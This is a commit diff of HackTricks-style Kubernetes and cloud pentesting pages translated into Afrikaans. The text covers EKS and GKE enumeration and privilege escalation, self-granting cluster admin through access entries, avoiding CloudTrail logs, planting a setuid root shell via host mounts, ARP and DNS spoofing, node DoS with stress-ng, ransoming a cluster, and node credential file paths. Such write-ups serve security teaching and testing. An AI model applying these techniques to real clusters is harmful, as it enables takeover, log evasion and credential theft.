Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-enu

This commit is contained in:
Translator
2026-07-09 09:21:20 +00:00
parent ba43b2802b
commit 106bf7c338
11 changed files with 674 additions and 449 deletions
@@ -10,22 +10,22 @@ Vir meer inligting kyk
../../aws-services/aws-eks-enum.md
{{#endref}}
### Enumerate the cluster from the AWS Console
### Enumeer die cluster vanaf die AWS Console
As jy die toestemming **`eks:AccessKubernetesApi`** het, kan jy **Kubernetes objects** via die AWS EKS console bekyk ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
As jy die toestemming **`eks:AccessKubernetesApi`** het kan jy **Kubernetes objects bekyk** via die AWS EKS console ([Leer meer](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
### Connect to AWS Kubernetes Cluster
### Koppel aan AWS Kubernetes Cluster
- Easy way:
- Maklike manier:
```bash
# Generate kubeconfig
aws eks update-kubeconfig --name aws-eks-dev
```
- Nie so maklike manier nie:
- Nie daardie maklike manier:
As jy 'n **token kan kry** met **`aws eks get-token --name <cluster_name>`** maar jy het nie permissions om cluster info te kry nie (describeCluster), kan jy jou eie **`~/.kube/config`** voorberei. Maar, met die token, het jy nog steeds die **url endpoint nodig om mee te connect** (as jy daarin geslaag het om 'n JWT token van 'n pod te kry lees [hier](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) en die **naam van die cluster**.
As jy **'n token kan kry** met **`aws eks get-token --name <cluster_name>`** maar jy het nie permissions om cluster info (describeCluster) te kry nie, kan jy **jou eie `~/.kube/config` voorberei**. Maar, met die token in die hand, het jy steeds die **url endpoint nodig om mee te connect** (as jy daarin geslaag het om 'n JWT token van 'n pod te kry lees [hier](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) en die **naam van die cluster**.
In my geval het ek nie die info in CloudWatch logs gevind nie, maar ek het dit in **LaunchTemaplates userData** en ook in **EC2 machines in userData** gevind. Jy kan hierdie info maklik in **userData** sien, byvoorbeeld in die volgende voorbeeld (die cluster name was cluster-name):
In my geval het ek nie die info in CloudWatch logs gevind nie, maar ek het dit in LaunchTemaplates userData en ook in EC2 machines in userData gevind. Jy kan hierdie info maklik in **userData** sien, byvoorbeeld in die volgende voorbeeld (die cluster name was cluster-name):
```bash
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
@@ -70,50 +70,50 @@ provideClusterInfo: false
```
</details>
### From AWS to Kubernetes
### Van AWS na Kubernetes
Die **creator** van die **EKS cluster** gaan **ALTYD** in staat wees om in die kubernetes cluster-deel van die groep **`system:masters`** in te kom (k8s admin). Ten tyde van die skryf hiervan is daar **geen direkte manier** om te vind **wie** die cluster **geskep** het nie (jy kan CloudTrail nagaan). En daar is **geen manier** om daardie **privilege** te **verwyder** nie.
Histories het die **skepper** van 'n **EKS cluster** versteekte Kubernetes admin access ontvang wat nie in `aws-auth` sigbaar was nie. In huidige EKS clusters hang dit af van die cluster access configuration. `bootstrapClusterCreatorAdminPermissions` beheer of die skepper tydens skepping as 'n cluster-admin access entry bygevoeg word, en EKS access entries maak daardie admin path sigbaar en herroepbaar deur die EKS API. Ouer clusters of clusters wat steeds op `aws-auth` staatmaak, mag nog legacy creator behavior hê, so bevestig die `accessConfig`, lys access entries, en hersien CloudTrail in plaas daarvan om te aanvaar die skepper het altyd onverwyderbare `system:masters`.
#### Abusing configmap
#### Misbruik configmap
Die tradisionele manier om **access to over K8s to more AWS IAM users or roles** te gee, is deur die **configmap** **`aws-auth`** te gebruik.
Die tradisionele manier om **access tot oor K8s aan meer AWS IAM users of roles** te gee is deur die **configmap** **`aws-auth`** te gebruik.
> [!WARNING]
> Daarom sal enigiemand met **write access** oor die config map **`aws-auth`** in staat wees om **the whole cluster** te **compromise**.
> Daarom, enigiemand met **write access** oor die config map **`aws-auth`** sal in staat wees om **die hele cluster te compromise**.
Vir meer inligting oor hoe om **extra privileges** aan IAM roles & users in dieselfde of verskillende account toe te ken en hoe om dit te **abuse** vir [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
Vir meer inligting oor hoe om **ekstra privileges aan IAM roles & users** in dieselfde of verskillende account te **gee** en hoe om dit te **abuse** vir [**privesc kyk na hierdie bladsy**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
Kyk ook[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**.
Kyk ook[ **hierdie awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post om te leer hoe die authentication IAM -> Kubernetes werk**.
#### Abusing Access Entries
#### Misbruik Access Entries
AWS implementes an additional way to grant IAM users access to the Kubernetes cluster through access entries. If you have the `eks:CreateAccessEntry` and `eks:AssociateAccessPolicy` permissions, you may also be able to assign a Kubernetes administrator role to either your user or a specific rol.
AWS implementeer 'n bykomende manier om IAM users toegang tot die Kubernetes cluster te gee deur access entries. As jy die `eks:CreateAccessEntry` en `eks:AssociateAccessPolicy` permissions het, kan jy dalk ook 'n Kubernetes administrator role aan óf jou user óf 'n spesifieke role toeken.
First, **create an access entry for your user or role**:
Eerstens, **create 'n access entry vir jou user of role**:
```
aws eks create-access-entry --cluster-name <cluster_name> --region <region> --principal-arn <arn_from_your_user_or_role> --type STANDARD
```
Met daardie inskrywing geskep, kan jy nou dalk n policy direk daaraan toeken. Daar is n ingeboude AWS policy genaamd *AmazonEKSClusterAdminPolicy* wat direk gebruik kan word. Hou in gedagte dat as jou omgewing ander custom policies het wat ook verhoogde privileges in EKS verleen, jy die `--policy-arn` na enige van hulle kan verander:
Met daardie inskrywing geskep, kan jy nou moontlik n policy direk daaraan toeken. Daar is n ingeboude aws policy genaamd *AmazonEKSClusterAdminPolicy* wat direk gebruik kan word. Hou in gedagte dat as jou omgewing ander custom policies het wat ook elevated privileges in EKS verleen, jy die `--policy-arn` kan verander na enige van dié:
```
aws eks associate-access-policy --cluster-name <cluster_name> --region <region> --principal-arn <arn_from_your_user_or_role> --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy --access-scope type=cluster
```
Jy kan vir hierdie beleid in AWS se amptelike dokumentasie [**hier**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy) soek
Jy kan vir hierdie beleid soek in AWS se amptelike dokumentasie [**hier**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy)
Vanaf hierdie punt af kan jy nou moontlik n *k8s* token aanvra en met die cluster as n administrateur interaksie hê:
Vanaf hierdie punt kan jy nou moontlik 'n *k8s* token aanvra en met die cluster interaksie hê as 'n administrateur:
```
aws eks get-token --cluster-name <cluster_name> --output json | jq -r '.status.token'
```
### Van Kubernetes na AWS
Dit is moontlik om 'n **OpenID authentication vir kubernetes service account** toe te laat om hulle toe te laat om roles in AWS aan te neem. Leer hoe [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
Dit is moontlik om `OpenID authentication` vir `kubernetes service account` toe te laat sodat hulle roles in AWS kan aanneem. Leer hoe [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
### GET Api Server Endpoint vanaf 'n JWT Token
### GET Api Server Endpoint from a JWT Token
Deur die JWT token te dekodeer, kry ons die cluster id & ook die region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Omdat die standaard formaat vir EKS url is
Deur die JWT token te decode, kry ons die cluster id & ook die region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Met die wete dat die standaard formaat vir EKS url is
```bash
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
```
Het geen enige dokumentasie gevind wat die kriteria vir die 'two chars' en die 'number' verduidelik nie. Maar deur n paar toetse namens my te doen, sien ek dat hierdie eene herhaal:
Het geen dokumentasie gevind wat die kriteria vir die 'two chars' en die 'number' verduidelik nie. Maar nadat ek self n paar toetse gedoen het, sien ek dat hierdie eene herhaal:
- gr7
- yl4
@@ -143,21 +143,21 @@ wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws
### Bypass CloudTrail
As n aanvaller die geloofsbriewe van n AWS verkry met **toestemming oor n EKS**. As die aanvaller sy eie **`kubeconfig`** instel (sonder om **`update-kubeconfig`** aan te roep), soos voorheen verduidelik, genereer **`get-token`** nie logs in Cloudtrail nie omdat dit nie met die AWS API interaksie het nie (dit skep net die token plaaslik).
As 'n aanvaller AWS-geloofsbriewe verkry met **permission oor 'n EKS**. As die aanvaller sy eie **`kubeconfig`** konfigureer (sonder om **`update-kubeconfig`** te roep) soos voorheen verduidelik, genereer die **`get-token`** geen logs in Cloudtrail nie omdat dit nie met die AWS API interaksie het nie (dit skep net die token plaaslik).
So wanneer die aanvaller met die EKS cluster praat, **cloudtrail sal niks log wat verband hou met die gebruiker wat gesteel is en toegang verkry nie**.
So wanneer die aanvaller met die EKS cluster praat, **cloudtrail sal niks log wat verband hou met die user wat gesteel en toegang verkry word nie**.
Let daarop dat die **EKS cluster dalk logs geaktiveer het** wat hierdie toegang sal log (hoewel dit by verstek gedeaktiveer is).
Let daarop dat die **EKS cluster moontlik logs geaktiveer kan hê** wat hierdie access sal log (alhoewel hulle by verstek gedeaktiveer is).
### EKS Ransom?
By verstek gaan die **gebruiker of role wat** n cluster geskep het **ALTYD admin privileges** oor die cluster. En dit is die enigste **veilige** toegang wat AWS oor die Kubernetes cluster sal hê.
By verstek gaan die **user or role that created** 'n cluster **ALTYD** admin privileges oor die cluster. En dit is die enigste **secure** access wat AWS oor die Kubernetes cluster sal hê.
So, as n **aanvaller n cluster kompromitteer wat fargate gebruik** en **alle ander admins verwyder** en d**ie AWS user/role wat die** Cluster geskep het, ~~could have **ransomed the cluste**~~**r**.
Dus, as 'n **aanvaller 'n cluster met fargate kompromitteer** en **al die ander admins verwyder** en d**ie AWS user/role wat die** Cluster geskep het, verwyder, ~~kan die aanvaller **die cluste**~~**r afpers**.
> [!TIP]
> Let daarop dat as die cluster **EC2 VMs** gebruik het, dit moontlik sou wees om Admin privileges van die **Node** te kry en die cluster te herstel.
> Let daarop dat as die cluster **EC2 VMs** gebruik het, dit moontlik kan wees om Admin privileges van die **Node** te kry en die cluster te herstel.
>
> Eintlik, as die cluster Fargate gebruik, kan jy EC2 nodes gebruik of alles na EC2 skuif na die cluster en dit herstel deur toegang te verkry tot die tokens in die node.
> Eintlik, as die cluster Fargate gebruik, kon jy EC2 nodes gebruik of alles na EC2 skuif en die cluster herstel deur toegang te kry tot die tokens in die node.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Containers
In GCP containers kan jy die meeste van die container-gebaseerde dienste vind wat GCP aanbied; hier kan jy sien hoe om die mees algemene ones te enum:
In GCP containers kan jy die meeste van die containers-gebaseerde dienste vind wat GCP aanbied, hier kan jy sien hoe om die mees algemene een te enum:
```bash
gcloud container images list
gcloud container images list --repository us.gcr.io/<project-name> #Search in other subdomains repositories
@@ -24,7 +24,7 @@ sudo docker pull HOSTNAME/<project-name>/<image-name>
```
### Privesc
In die volgende bladsy kan jy kyk hoe om **container permissions te abuse om privileges te escalate**:
In die volgende bladsy kan jy sien hoe om **container permissions te abuse om privileges te escalate**:
{{#ref}}
../gcp-privilege-escalation/gcp-container-privesc.md
@@ -46,29 +46,29 @@ Vir inligting oor wat Kubernetes is, kyk na hierdie bladsy:
../../kubernetes-security/
{{#endref}}
Eers kan jy kyk of enige Kubernetes-clusters in jou projek bestaan.
Eerstens kan jy kyk of enige Kubernetes-clusters in jou projek bestaan.
```
gcloud container clusters list
```
As jy wel 'n cluster het, kan jy `gcloud` jou `~/.kube/config`-lêer outomaties laat konfigureer. Hierdie lêer word gebruik om jou te verifieer wanneer jy [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/) gebruik, die native CLI vir interaksie met K8s-clusters. Probeer hierdie command.
As jy wel n cluster het, kan jy `gcloud` outomaties jou `~/.kube/config`-lêer laat konfigureer. Hierdie lêer word gebruik om jou te authentiseer wanneer jy [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/) gebruik, die native CLI om met K8s clusters te werk. Probeer hierdie command.
```
gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
```
Kyk dan na die `~/.kube/config` lêer om die gegenereerde credentials te sien. Hierdie lêer sal gebruik word om access tokens outomaties te ververs gebaseer op dieselfde identity wat jou aktiewe `gcloud` sessie gebruik. Dit vereis natuurlik dat die korrekte permissions in plek is.
Kyk dan na die `~/.kube/config` lêer om die gegenereerde credentials te sien. Hierdie lêer sal gebruik word om access tokens outomaties te verfris op grond van dieselfde identity wat jou aktiewe `gcloud` session gebruik. Dit vereis natuurlik dat die korrekte permissions in plek is.
Sodra dit ingestel is, kan jy die volgende command probeer om die cluster configuration te kry.
Sodra dit opgestel is, kan jy die volgende command probeer om die cluster configuration te kry.
```
kubectl cluster-info
```
Jy kan meer lees oor `gcloud` vir containers [hier](https://cloud.google.com/sdk/gcloud/reference/container/).
Dit is 'n eenvoudige script om kubernetes in GCP te enumereer: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
This is a simple script to enumerate kubernetes in GCP: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
### Huidige GKE identity- en metadata-kontroles
### Current GKE identity and metadata checks
Wanneer moderne GKE clusters hersien word, skei Google Cloud IAM permissions, Kubernetes RBAC, pod workload identity, en node credentials. 'n Google principal kan dikwels cluster endpoint-data met `container.clusters.get` ophaal, maar die gevolglike Kubernetes requests moet steeds deur GKE/Kubernetes authorization gaan en enige network restrictions soos private endpoints of authorized networks.
Wanneer moderne GKE clusters hersien word, skei Google Cloud IAM permissions, Kubernetes RBAC, pod workload identity, en node credentials. n Google principal kan dikwels cluster endpoint data met `container.clusters.get` haal, maar die gevolglike Kubernetes requests moet steeds deur GKE/Kubernetes authorization en enige network restrictions soos private endpoints of authorized networks slaag.
Workload Identity Federation vir GKE is die voorkeur manier vir pods om toegang tot Google Cloud APIs te kry. Kontroleer of die cluster 'n workload pool het en of Kubernetes service accounts direk as IAM principals gemap word of toegelaat word om IAM service accounts te impersonate:
Workload Identity Federation vir GKE is die voorkeur manier vir pods om toegang tot Google Cloud APIs te kry. Kyk of die cluster n workload pool het en of Kubernetes service accounts direk as IAM principals gekarteer is of toegelaat word om IAM service accounts te impersonate:
```bash
gcloud container clusters describe <cluster> --region <region> \
--format='value(workloadIdentityConfig.workloadPool)'
@@ -76,33 +76,47 @@ gcloud container clusters describe <cluster> --region <region> \
kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName'
```
As 'n service account die annotasie `iam.gke.io/gcp-service-account` het, hersien die IAM service account policy vir `roles/iam.workloadIdentityUser` toekennings aan Kubernetes service account principals. Kontroleer ook IAM allow policies vir direkte workload identity principals of breë principal sets.
As 'n service account die annotasie `iam.gke.io/gcp-service-account` het, hersien die IAM service account-beleid vir `roles/iam.workloadIdentityUser` toekennings aan Kubernetes service account-prinsipale. Kyk ook na IAM allow policies vir direkte workload identity-prinsipale of breë `principalSet://` toekennings, soos namespace-wye of cluster-wye workload toegang. Die annotasie `iam.gke.io/credential-quota-project` skuif net IAM Service Account Credentials API quota na 'n ander project; die workload-prinsipaal benodig steeds `serviceusage.services.use` op daardie quota project en aparte IAM-toegang tot die teiken resource.
Metadata-toegang hang af van cluster mode, node pool configuration, en workload settings. Moenie aanneem elke pod kan die node service account steel nie. In Workload Identity-enabled omgewings moet gewone pods die GKE metadata server gebruik om die workload identity te verkry wat vir hul Kubernetes service account bedoel is. Node compromise, `hostNetwork` pods in sommige Standard configurations, en legacy node metadata exposure kan steeds die blast radius verander, so verifieer die werklike node pool metadata mode, node service account, OAuth scopes, en pod placement.
Metadata-toegang hang af van cluster mode, node pool configuration, en workload settings. Moenie aanvaar elke pod kan die node service account steel nie. In Workload Identity-enabled environments, moet gewone pods die GKE metadata server gebruik om die workload identity te verkry wat bedoel is vir hul Kubernetes service account. Node compromise, `hostNetwork` pods in sommige Standard configurations, en legacy node metadata exposure kan steeds die blast radius verander, so verifieer die werklike node pool metadata mode, node service account, OAuth scopes, en pod placement.
As 'n Workload Identity-enabled pod nie 'n token kan kry nie, kyk ook NetworkPolicy egress voordat jy aanneem die IAM binding is verkeerd. GKE Standard clusters wat NetworkPolicy gebruik moet die metadata-server path toelaat wat vereis word deur die cluster version en dataplane, en Dataplane V2 gebruik die `169.254.169.254` path vir metadata-server access.
### Autopilot privileged workload allowlists
GKE Autopilot blokkeer standaard die meeste privileged workloads, maar goedgekeurde uitsonderings kan bestaan. Hersien privileged admission settings, `AllowlistSynchronizer` objects, en geïnstalleerde `WorkloadAllowlist` objects voordat jy aanneem 'n privileged pod is onmoontlik:
```bash
gcloud container clusters describe <cluster> --region <region> \
--format='yaml(autopilot,privilegedAdmissionConfig,clusterPolicyConfig)'
kubectl get allowlistsynchronizers.auto.gke.io -A -o yaml
kubectl get workloadallowlists.auto.gke.io -A -o yaml
```
Allowlist paths can be GKE-owned (`gke://...`) or customer-owned Cloud Storage paths (`gs://...`). Wildcards and broad bucket paths increase the blast radius because future allowlist files under that path might become valid for the cluster. When a `WorkloadAllowlist` is installed, compare its exemptions and matching criteria to the pod spec, especially image digests, host namespaces, writable hostPath mounts, host ports, Linux capabilities, and whether `autopilot.gke.io/no-connect` prevents `exec` access to the privileged workload.
### TLS Boostrap Privilege Escalation
Aanvanklik het hierdie privilege escalation technique toegelaat om **privesc binne die GKE cluster** uit te voer, wat 'n aanvaller effektief in staat gestel het om dit **volledig te compromise**.
Aanvanklik het hierdie privilege escalation tegniek toegelaat om **privesc binne die GKE cluster** uit te voer, wat n aanvaller effektief in staat gestel het om dit **volledig te kompromitteer**.
Dit is omdat GKE [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) in die metadata voorsien, wat **toeganklik is vir enigiemand deur bloot 'n pod te compromise**.
Dit is omdat GKE [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) in die metadata verskaf, wat **toeganklik is vir enigiemand net deur n pod te kompromitteer**.
Die technique wat gebruik is, word in die volgende posts verduidelik:
Die tegniek wat gebruik is, word in die volgende posts verduidelik:
- [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/)
- [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/)
- [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)
En hierdie tool is geskep om die proses te automateer: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
En hierdie tool is geskep om die proses te outomatiseer: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
Die technique het egter die feit misbruik dat **met die metadata credentials** dit moontlik was om 'n **CSR** (Certificate Signing Request) vir 'n **nuwe node** te genereer, wat **outomaties goedgekeur** is.\
In my toets het ek nagegaan dat **daardie requests nie meer outomaties goedgekeur word nie**, so ek is nie seker of hierdie technique steeds geldig is nie.
Die tegniek het egter die feit misbruik dat **met die metadata credentials** dit moontlik was om **n CSR** (Certificate Signing Request) vir **n nuwe node** te **genereer**, wat **outomaties goedgekeur** is.\
In my toets het ek gekyk dat **daardie requests nie meer outomaties goedgekeur word nie**, so ek is nie seker of hierdie tegniek nog geldig is nie.
### Secrets in Kubelet API <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
In [**hierdie post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) is ontdek dat 'n Kubelet API address toeganklik was van binne 'n pod in GKE, wat die besonderhede van die pods wat loop, gegee het:
In [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) is ontdek, is ontdek dat daar n Kubelet API address toeganklik is vanaf binne n pod in GKE, wat die details van die pods wat loop, gee:
```
curl -v -k http://10.124.200.1:10255/pods
```
Selfs al laat die API **nie toe om resources te wysig nie**, kan dit moontlik wees om **sensitiewe inligting** in die response te vind. Die endpoint /pods is gevind met behulp van [**Kiterunner**](https://github.com/assetnote/kiterunner).
Selfs al laat die API **nie toe om resources te wysig nie**, kan dit moontlik wees om **sensitiewe inligting** in die response te vind. Die endpoint /pods is gevind met [**Kiterunner**](https://github.com/assetnote/kiterunner).
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,19 +4,19 @@
## **Pod Breakout**
**As jy gelukkig genoeg is, kan jy dalk daarvan ontsnap na die node:**
**If you are lucky enough you may be able to escape from it to the node:**
![Kubernetes pod breakout diagram showing attacker OS flow from a container through syscalls to the host kernel](https://sickrov.github.io/media/Screenshot-161.jpg)
### Escaping from the pod
Om te probeer ontsnap uit die pods, moet jy dalk eers **privileges escalate**, sommige techniques om dit te doen:
In order to try to escape from the pods you might need to **escalate privileges** first, some techniques to do it:
{{#ref}}
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
{{#endref}}
Jy kan hierdie **docker breakouts to try to escape** van 'n pod wat jy gekompromitteer het, nagaan:
You can check this **docker breakouts to try to escape** from a pod you have compromised:
{{#ref}}
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
@@ -45,7 +45,7 @@ TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"
```
Plant a setuid root binary vanaf die container:
Plant n setuid root binary vanaf die container:
```bash
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
@@ -62,9 +62,9 @@ ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
```
Notas en probleemoplossing:
- As die host mount nosuid het, sal setuid bits geïgnoreer word. Kyk na mount options op die host (cat /proc/mounts | grep <mountpoint>) en soek na nosuid.
- As jy nie 'n host execution path kan kry nie, kan soortgelyke writable mounts misbruik word om ander persistence/priv-esc artefakte op die host te skryf as die gemapte directory security-critical is (bv. voeg 'n root SSH key by as die mount in /root/.ssh map, drop 'n cron/systemd unit as dit na /etc map, vervang 'n root-owned binary in PATH wat die host sal execute, ens.). Die uitvoerbaarheid hang heeltemal af van watter path gemount is.
- Hierdie technique werk ook met plain Docker bind mounts; in Kubernetes is dit tipies 'n hostPath volume (readOnly: false) of 'n verkeerd gescope subPath.
- As the host mount `nosuid` het, sal `setuid`-bits geïgnoreer word. Kontroleer mount-opsies op die host (`cat /proc/mounts | grep <mountpoint>`) en soek na `nosuid`.
- As jy nie n host execution path kan kry nie, kan soortgelyke writable mounts misbruik word om ander persistence/priv-esc artifacts op die host te skryf as die gemapte directory security-critical is (bv. voeg n root SSH key by as die mount na `/root/.ssh` map, plaas n cron/systemd unit as dit na `/etc` map, vervang n root-owned binary in PATH wat die host sal execute, ens.). Feasibility hang heeltemal af van watter path gemount is.
- Hierdie technique werk ook met plain Docker bind mounts; in Kubernetes is dit tipies n `hostPath` volume (`readOnly: false`) of n verkeerd gescopede `subPath`.
### Abusing Kubernetes Privileges
@@ -74,7 +74,7 @@ Soos verduidelik in die afdeling oor **kubernetes enumeration**:
kubernetes-enumeration.md
{{#endref}}
Gewoonlik word die pods met 'n **service account token** binne hulle uitgevoer. Hierdie service account kan sekere **privileges** wat aan dit gekoppel is wat jy kan **abuse** om te **move** na ander pods of selfs te **escape** na die nodes wat binne die cluster gekonfigureer is. Kyk hoe in:
Gewoonlik word die pods binne-in hulle uitgevoer met n **service account token**. Hierdie service account kan sekere **privileges** hê wat jy kan **abuse** om te **move** na ander pods of selfs om te **escape** na die nodes wat binne die cluster gekonfigureer is. Kyk hoe in:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -82,19 +82,19 @@ abusing-roles-clusterroles-in-kubernetes/
### Abusing Cloud Privileges
As die pod binne 'n **cloud environment** uitgevoer word, kan jy moontlik 'n token van die metadata endpoint l**eak** en privileges daarmee eskaleer.
As die pod binne n **cloud environment** loop, kan jy dalk n **token van die metadata endpoint leak** en privileges daarmee eskaleer.
## Search vulnerable network services
Aangesien jy binne die Kubernetes environment is, as jy nie privileges kan eskaleer deur die huidige pods privileges te abuse nie en jy kan nie uit die container escape nie, moet jy **potential vulnerable services soek.**
Aangesien jy binne die Kubernetes environment is, as jy nie privileges kan eskaleer deur die huidige pods se privileges te abuse nie en jy nie uit die container kan escape nie, moet jy **potensieel vulnerable services search.**
### Services
**Vir hierdie doel, kan jy probeer om al die services van die kubernetes environment te kry:**
**Vir hierdie doel kan jy probeer om al die services van die kubernetes environment te kry:**
```
kubectl get svc --all-namespaces
```
By default, Kubernetes gebruik 'n plat networking-skema, wat beteken dat **enige pod/service binne die cluster met ander kan praat**. Die **namespaces** binne die cluster **het by verstek geen network security restrictions nie**. Enigiemand in die namespace kan met ander namespaces praat.
By default, Kubernetes uses a flat networking schema, which means **enige pod/service within the cluster kan met ander praat**. Die **namespaces** within the cluster **het by default geen network security beperkings**. Enigiemand in die namespace kan met other namespaces praat.
### Scanning
@@ -117,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover
```
Kyk na die volgende bladsy om te leer hoe jy **Kubernetes-spesifieke services** kan **attack** om ander pods/die hele environment te compromise:
Kyk na die volgende bladsy om te leer hoe jy **Kubernetes spesifieke dienste** kan **aanval** om **ander pods/al die omgewing** te kompromitteer:
{{#ref}}
pentesting-kubernetes-services/
@@ -125,12 +125,12 @@ pentesting-kubernetes-services/
### Sniffing
In geval die **compromised pod 'n sensitiewe service run** waar ander pods moet authenticate, kan jy moontlik die credentials obtain wat van die ander pods send deur **local communications sniffing**.
In geval die **gekompromitteerde pod 'n sensitiewe diens laat loop** waar ander pods moet autentiseer, kan jy dalk die credentials bekom wat deur die ander pods gestuur word deur **local communications te sniff**.
## Network Spoofing
By default werk techniques soos **ARP spoofing** (en danksy dit **DNS Spoofing**) in kubernetes network. Dan, inside 'n pod, as jy die **NET_RAW capability** het (wat by default daar is), sal jy custom crafted network packets kan send en **MitM attacks via ARP Spoofing to all the pods running in the same node** uitvoer.\
Verder, as die **malicious pod** in **dieselfde node as die DNS Server** run, sal jy 'n **DNS Spoofing attack to all the pods in cluster** kan uitvoer.
By verstek werk tegnieke soos **ARP spoofing** (en danksy dit **DNS Spoofing**) in kubernetes netwerke. Dan, binne 'n pod, as jy die **NET_RAW capability** het (wat by verstek daar is), sal jy in staat wees om custom crafted network packets te stuur en **MitM attacks via ARP Spoofing na al die pods wat op dieselfde node loop** uit te voer.\
Verder, as die **kwaadwillige pod** op **dieselfde node as die DNS Server** loop, sal jy 'n **DNS Spoofing attack na al die pods in die cluster** kan uitvoer.
{{#ref}}
kubernetes-network-attacks.md
@@ -138,25 +138,25 @@ kubernetes-network-attacks.md
## Node DoS
Daar is geen specification van resources in die Kubernetes manifests nie en **not applied limit** ranges vir die containers nie. As 'n attacker kan ons **all the resources where the pod/deployment running** consume en ander resources uitput en 'n DoS vir die environment veroorsaak.
Daar is geen spesifikasie van resources in die Kubernetes manifests nie en **limit ranges** is nie op die containers toegepas nie. As 'n attacker kan ons **al die resources verbruik waarop die pod/deployment loop** en ander resources uitput en 'n DoS vir die omgewing veroorsaak.
Dit kan gedoen word met 'n tool soos [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
```
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
```
Jy kan die verskil sien tussen terwyl `stress-ng` loop en daarna
Jy kan die verskil sien terwyl `stress-ng` loop en daarna
```bash
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
```
## Node Post-Exploitation
As jy daarin geslaag het om uit die container te **escape**, is daar n paar interessante dinge wat jy op die node sal vind:
As jy daarin geslaag het om uit die container te **escape**, is daar n paar interessante dinge wat jy in die node sal vind:
- Die **Container Runtime** proses (Docker)
- Meer **pods/containers** wat op die node loop en wat jy soos hierdie een kan abuse (meer tokens)
- Die hele **filesystem** en **OS** in die algemeen
- Die **Kube-Proxy** diens wat luister
- Die **Kubelet** diens wat luister. Check config files:
- Die **Kubelet** diens wat luister. Kyk config files:
- Directory: `/var/lib/kubelet/`
- `/var/lib/kubelet/kubeconfig`
- `/var/lib/kubelet/kubelet.conf`
@@ -171,9 +171,15 @@ As jy daarin geslaag het om uit die container te **escape**, is daar n paar i
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
- `/etc/kubernetes/pki` - **Kubernetes Key**
### Image Pull and Registry Credentials
